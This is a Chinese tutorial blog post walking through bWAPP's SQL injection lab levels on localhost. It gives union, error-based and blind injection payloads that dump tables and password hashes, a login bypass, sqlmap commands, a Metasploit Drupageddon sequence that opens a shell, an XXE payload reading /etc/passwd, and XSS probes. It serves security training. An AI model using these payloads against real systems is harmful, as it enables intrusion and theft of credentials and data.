bwapp之sql注入_sql注入语句入门

2022-11-09 14:33:24 浏览数 (1)

大家好,又见面了,我是你们的朋友全栈

目录

手工注入步骤

0x01、SQL Injection (GET/Search)

0x02、SQL Injection (GET/Select)

0x03、SQL Injection (POST/Search)

0x04、SQL Injection (POST/Select)

0x05、SQL Injection (AJAX/JSON/jQuery)

0x06、SQL Injection (Login Form/Hero)

0x07、SQL Injection (Login Form/User)

0x08、SQL Injection (SQLite)

0x09、Drupal SQL Injection (Drupageddon)

0x0A、SQL Injection – Stored (Blog)

0x0B、SQL Injection – Stored (SQLite)

0x0C、SQL Injection – Stored (User-Agent)

0x0D、SQL Injection – Stored (XML)

0x0E、SQL Injection – Blind – Boolean-Based

0x0F、SQL Injection – Blind – Time-Based

0x10、SQL Injection – Blind (SQLite)

0x11、SQL Injection – Blind (WS/SOAP)


手工注入步骤

下面简要介绍手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是整数型 2.猜解SQL查询语句中的字段数 (order by ) 3.确定显示的字段顺序 4.获取当前数据库 (爆库) 5.获取数据库中的表 (爆表) 6.获取表中的字段名 (爆字段) 7.下载数据 (爆数据)

0x01、SQL Injection (GET/Search)

Low

GET/Search型的SQL注入一般直接按照上面步骤判断即可:

  • 判断注入点

输入单引号:

猜测sql语句如下:

代码语言:javascript复制
SELECT * FROM movies WHERE title LIKE '%" . ($title) . "%'
  • 注入类型

将%和 ‘ 闭合掉, 加入注入语句, 再将后面的注释掉:

代码语言:javascript复制
123%' or 1=1 #

因为1=1永真, where条件总是成立, 所以列出了所有图书:

  • 判断字段数
代码语言:javascript复制
123%' order by 7 #
  • 确定显示字段的顺序
代码语言:javascript复制
123%' union select 1,2,3,4,5,6,7 #

可以显示的字段为2,3,5,4

  • 当前数据库和用户
代码语言:javascript复制
123%' union select 1,user(),3,database(),5,6,7 #
  • 数据库下的所有表
代码语言:javascript复制
123%' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() #
  • 表的字段
代码语言:javascript复制
123%' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name="users" and table_schema=database() #
  • 爆数据
代码语言:javascript复制
123%' union select 1,(select group_concat(login,'-',password,'-') from users limit 0,1),3,4,5,6,7 #

通过limit来分段获取数据:

密码显然是md5加密过的:

Medium

这边源码观察到采用addslashes()函数对预定义字符进行了转义 :

  • addslashes() 函数

返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠()
  • NULL

查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:

可惜mysql编码是utf-8:

所以暂时找不到方法绕过。

High

采用了mysql_real_escape_string()函数来防御

  • mysql_real_escape_string() 函数

转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • x00
  • n
  • r
  • x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

无法注入。

0x02、SQL Injection (GET/Select)

分析

相比上一关, 这里在前端采用了下拉菜刀选择来控制用户的输入, 防止恶意输入:

但是即便如此, 也是表明功夫而已

由于是GET型, 攻击者可以通过修改url参数数据来注入:

Low

无任何防护, 像上一关一样直接注入即可

  • 注入点判断
代码语言:javascript复制
http://localhost:8080/bWAPP/sqli_2.php?movie=1 and 1=1&action=go

可知为整数型注入

  • 判断字段数
代码语言:javascript复制
http://localhost:8080/bWAPP/sqli_2.php?movie=1 order by 7 &action=go
  • 确定字段显示顺序
代码语言:javascript复制
http://localhost:8080/bWAPP/sqli_2.php?movie=0 union select 1,2,3,4,5,6,7&action=go

注意, 这里要使movie=0, 以引导报错, 不然字段不会显示出来, 因为被查询到的movie=1覆盖了

接下来的爆库爆表等就和上一关一样了, 不再赘述。

Medium&High

Medium和High级别分别采用了addslashed()和mysql_real_escape_string()来过滤特殊字符:

但是这是整数型注入, 对于字符型注入的防御策略并不起作用:

所以, 依然可以像Low级别那样注入。

0x03、SQL Injection (POST/Search)

分析

可以看到, 与Get型的大同小异, 只不过这里采用Post请求方式,

虽然Post型比Get型请求更安全, 但是想要注入只不过麻烦一点而已

攻击者仍然可以通过抓包修改数据包的方式了注入

Low

  • 判断注入点

接下来就和Get型一样了, 只不过在多了一步抓包而已。

Medium&High

分别用了addslashes()和mysql_real_escape_string()函数防御:

且在Medium中, mysql编码为utf-8, 无法用宽字节绕过, 安全。

0x04、SQL Injection (POST/Select)

相比上一关, 这里在前端采用了下拉菜刀选择来控制用户的输入, 防止恶意输入

但是即便如此, 也是表明功夫而已, 同样可以通过抓包修改数据包,

方法和上一关一样, 不再赘述。

0x05、SQL Injection (AJAX/JSON/jQuery)

通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。

对应的js代码如下:

代码语言:javascript复制
$("#title").keyup(function(){
            // Searches for a movie title
            var search = {title: $("#title").val()};

            // AJAX call
            //getJSON函数
            //1、sqli_10-2.php即把数据提交到此文件,也就是说其实ajax查询数据是这个文件在处理
            //2、search是存储的键值对,这里提交。
            //3、第三个参数是查询成功后处理要调用的函数,这里是格式化了输出,我们忽略
            $.getJSON("sqli_10-2.php", search, function(data){
                init_table();
                // 后面的代码是格式化处理查询结果的
                // Constructs the table from the JSON data
                var total = 0;
                $.each(data, function(key, val){
                    total  ;
                    $("#table_yellow tr:last").after("<tr><td>"   val.title   "</td><td align='center'>"   val.release_year   "</td><td>"   val.main_character   "</td><td align='center'>"   val.genre   "</td><td align='center'><a href='http://www.imdb.com/title/"   val.imdb   "' target='_blank'>Link</a></td></tr>");
                });
                // Empty result
                if (total == 0)
                {
                    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
                }
            })

        });

        function init_table(){
            $("#table_yellow").html("<tr height='30' bgcolor='#ffb717' align='center'>"  
                    "<td width='200'><b>Title</b></td>"  
                    "<td width='80'><b>Release</b></td>"  
                    "<td width='140'><b>Character</b></td>"  
                    "<td width='80'><b>Genre</b></td>"  
                    "<td width='80'><b>IMDb</b></td>"  
                    "</tr>"
                    );
        }

Low

直接用Get型用url访问是不行的:

在js中采用了getJSON来实时更新查询结果,

页面sqli_10-1应该是从sqli_10-2获取数据的:

可以间接的从sqli_10-2.php注入:

代码语言:javascript复制
http://localhost:8080/bWAPP/sqli_10-2.php?title=Iron%' and 1=1 #

也可以在sqli_10-1.php搜索框注入:

代码语言:javascript复制
Iron%' and 1=1 #

Medium&High

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

0x06、SQL Injection (Login Form/Hero)

用户登录的sql注入, 可以引申至 二次注入

Low

往用户名处注入单引号, 得到报错回显:

猜测登录的sql语句可能为:

代码语言:javascript复制
select * from users where username='$login' and password='$password';

那么此处就可以构造一下用户, 实现万能登录了:

代码语言:javascript复制
用户名:  123' or 1=1 #
密码  :  (随意)

Medium&High

继续构造用户名, 发现服务器只返回了用户名和密码是否正确(合法):

查看源码发现对用户名和密码进行了相应的防护:

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

0x07、SQL Injection (Login Form/User)

Low

继续像上一关那样思路,

构造万能登录用户名, 密码随意:

发现无法注入。

查看源码逻辑(黑白盒结合测试), 它先是判断用户名是否存在, 存在之后再判断密码是否正确:

问了一下朋友, 得知这曾经是一道CTF的题,

分析

既然sql语句只发生在查询用户名处, 所以注入也只能在用户名, (因为需要通过用户名验证, 再通过密码)

  • 注入单引号:
  • 接着判断注入点

发现无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

因此无法使用order by 判断字段数 (判断注入点是为了用order by来得到字段数)

但是可以直接通过联合查询得到字段数:

  • 判断字段的显示顺序

无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

所以我们进入数据库实验:

可以看到, 联合查询3的位置对应password字段, 且password字段的值是经过md5加密过的,

由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等

比如, 注入的联合查询为:

代码语言:javascript复制
' union select 1,2,3,4,5,6,7,8,9 #

recordset从数据库中搜索就有了返回值,即row[“login”]返回不为空,这里第一个条件就构成了。后面POST的“&password=3”,3的hash的值被我们添加到联合查询语句里了,即返回的查询有3的hash值

所以输入密码与联合查询输入的3字段相等即可

代码语言:javascript复制
用户名:  ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密码  :  3

其中, sha1(3) 加密后为 77de68daecd823babbb58edb1c8e14d7106e83bb

得知注入字段显示顺序为2和5

  • 当前数据库和用户
代码语言:javascript复制
用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
密码  :  3
  • 爆表
代码语言:javascript复制
用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #
密码  :  3
  • users表的所有字段
代码语言:javascript复制
用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 #
密码  :  3

  • 爆值
代码语言:javascript复制
用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #
密码  :  3

Medium&High

查看源码发现对用户名和密码进行了相应的防护:

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

0x08、SQL Injection (SQLite)

首先需要安装SQLite插件:

代码语言:javascript复制
apt-get install sqlite3

apt-get install php5-sqlite

然后重启一下apache:

代码语言:javascript复制
service apache2 restart
  • SQLite 介绍

SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。 type列记录了项目的类型,如table、index、view、trigger tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身; name字段记录了项目的名称,如表名、索引名等; rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL sql存放着所有表的创建语句,即表的结构。

Low

注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:

根据查询功能, 很明显为模糊匹配:

于是得出sql语句为:

代码语言:javascript复制
select * from books where title='%$title%';
  • 判断注入点
代码语言:javascript复制
Iron%' and 1=1 --

注意在SQLite中, 注释符为: —

  • 判断字段数
代码语言:javascript复制
Iron%' order by 6 --
  • 判断字段显示顺序
代码语言:javascript复制
123%' union select 1,2,3,4,5,6 --
  • 爆所有表
代码语言:javascript复制
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
  • users表的字段
代码语言:javascript复制
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --

通过sql可以查看建表语句, 从而得到字段属性:

  • 取值
代码语言:javascript复制
123%' union select 1,2,login,password,5,6 from users --

Medium&High

在Medium和High等级中, 都过滤了单引号, 无法注入:

0x09、Drupal SQL Injection (Drupageddon)

  • CVE-2014-3704:

The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.

翻译一下就是: 由于expandArguments()函数没有正确构造准备好的语句,这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。

Drupal是一款开源内容管理系统(CMS),用户多达100万以上(包括政府、电子零售、企业组织、金融机构等),除非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则,所有用户都会面临该漏洞的严重威胁。

bwapp平台复现了漏洞, 但仅仅再bee-box平台中体现:

由于没有安装bee-box的支持, 所以演示步骤, 不贴结果。具体可移步到 vulhub篇

直接上msf:

搜索drupal漏洞:

代码语言:javascript复制
search drupal

查看漏洞信息:

代码语言:javascript复制
show info exploit/multi/http/drupal_drupageddon

使用CVE-2014-3704对应的攻击模块:

代码语言:javascript复制
use exploit/multi/http/drupal_drupageddon

设置Drupal网站路径:

代码语言:javascript复制
set targeturi /drupal/

所定攻击的ip和端口:

代码语言:javascript复制
set RHOSTS 192.168.10.10

set rport 8080

发动攻击, 拿到shell:

代码语言:javascript复制
exploit

0x0A、SQL Injection – Stored (Blog)

一个发表blog的功能:

分析

1. 在将blog内容以及时间作者等插入数据库的过程中, 肯定用到了insert语句, 对应的就可以采用 sql注入;

2. 观察插入之后的内容, 被写入到网页中, 这里就类似与存储型XSS。

Low

  • SQL注入

注入单引号, 得到回显:

猜测sql语句为:

代码语言:javascript复制
insert into blog(date,entry,owner) values(now(), '$entry', 'bee');

注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:

判断注入点:

1. 联合查询注入

代码语言:javascript复制
test', (select database())) #

爆表:

代码语言:javascript复制
test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) #

2. 报错注入

尝试报错注入:

代码语言:javascript复制
test', 'hack') or extractvalue(1, concat(0x7e, (select database()), 0x7e)) #

未果。

  • XSS

注入:

代码语言:javascript复制
<script>alert(1)</script>

Medium&High

注入的单引号发现被转义了:

查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护:

  • XSS

但没有对xss进行相应的防护:

代码语言:javascript复制
<script>alert(2)</script>

0x0B、SQL Injection – Stored (SQLite)

Mysql换成了sqlite,只是些sql语句写法变了, 思路不变。

0x0C、SQL Injection – Stored (User-Agent)

当用户访问页面时, 后台会获取用户的ip, 访问时间以及http头信息的内容:

并且将获取到的信息存储到数据库, 然后再显示到页面上。

Low

原理同样, 猜测insert的sql语句为:

代码语言:javascript复制
INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');

抓包, 注入点为 user-agent:

Medium&High

查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护, 安全:

0x0D、SQL Injection – Stored (XML)

点击按钮, 触发script事件:

重定向到sqli_8-2.php, 并发送xml文档:

Low

有两种方法利用该漏洞;

  • SQL注入

sql注入的原理基本不变, 只不过注入点不同而已,

直接访问sql_8-2.php, 将xml实体POST即可:

注入单引号, 判断注入点:

得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:

代码语言:javascript复制
UPDATE users SET secret = '$secret' WHERE login = '$login';

于是用extractvalue()报错注入:

代码语言:javascript复制
<reset><login>bee' or  extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login><secret>Any bugs?</secret></reset>
  • XXE注入

具体原理参见之前的blog: PiKachu靶场之XXE (xml外部实体注入漏洞)

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [
    <!ENTITY text SYSTEM "file:///etc/passwd">
]>

<reset>
    <login>&text;</login>
    <secret>hack</secret>
</reset>

0x0E、SQL Injection – Blind – Boolean-Based

查询书目, 只会显示出存在or不存在:

Low

由于是字符串, 判断为字符类型注入, 直接注入:

代码语言:javascript复制
Iron Man' and '1'='1

比如, 判断数据库长度:

代码语言:javascript复制
Iron Man' and length(database())=5 #

继续手工盲注比较麻烦, 具体请参看之前的blog: PiKachu之Sql Inject (SQL注入)

这里就直接用sqlmap来跑了:

代码语言:javascript复制
sqlmap -u "http://localhost:8080/bWAPP/sqli_4.php?action=search&title=Iron Man" --cookie="security_level=0; PHPSESSID=oq5ku61t3uqkr80mok9g30qc74" --dbs --batch

记得传cookie, 指定security_level等级, 用–batch选用默认操作

最后得到所有数据库:

接下来跑表就不再赘述了。

Medium&High

同样采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过, 安全。

0x0F、SQL Injection – Blind – Time-Based

不管查询什么都是将结果通过email通知, 将查询结果”隐藏”了起来

对应渗透来说, 也就是无法得知注入的sql语句是否执行成功。

于是布尔盲注就不能发挥作用, 这时候就需要延时盲注出场了。

Low

延时注入:

代码语言:javascript复制
Iron Man' and sleep(if((1=2), 0, 3)) #

之后可以尝试手工注入或者sqlmap跑。

Medium&High

同样采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过, 安全。

0x10、SQL Injection – Blind (SQLite)

同样是布尔盲注:

方法思路一样, 和mysql相比只不过是语法不同。

0x11、SQL Injection – Blind (WS/SOAP)

该页面是一个查看电影剩余票数的查询功能:

Low

分析数据包, 是GET型:

随之我们可以直接通过url构造title参数注入:

  • 判断注入类型

可知是字符型注入, 猜测sql语句如下:

代码语言:javascript复制
select tickets from moives where title='$title';

而且是布尔型盲注。方法同之前的盲注一样。(sqlmap跑也可以)

Medium&High

同样采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过, 安全。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/190360.html原文链接:https://javaforall.cn

0 人点赞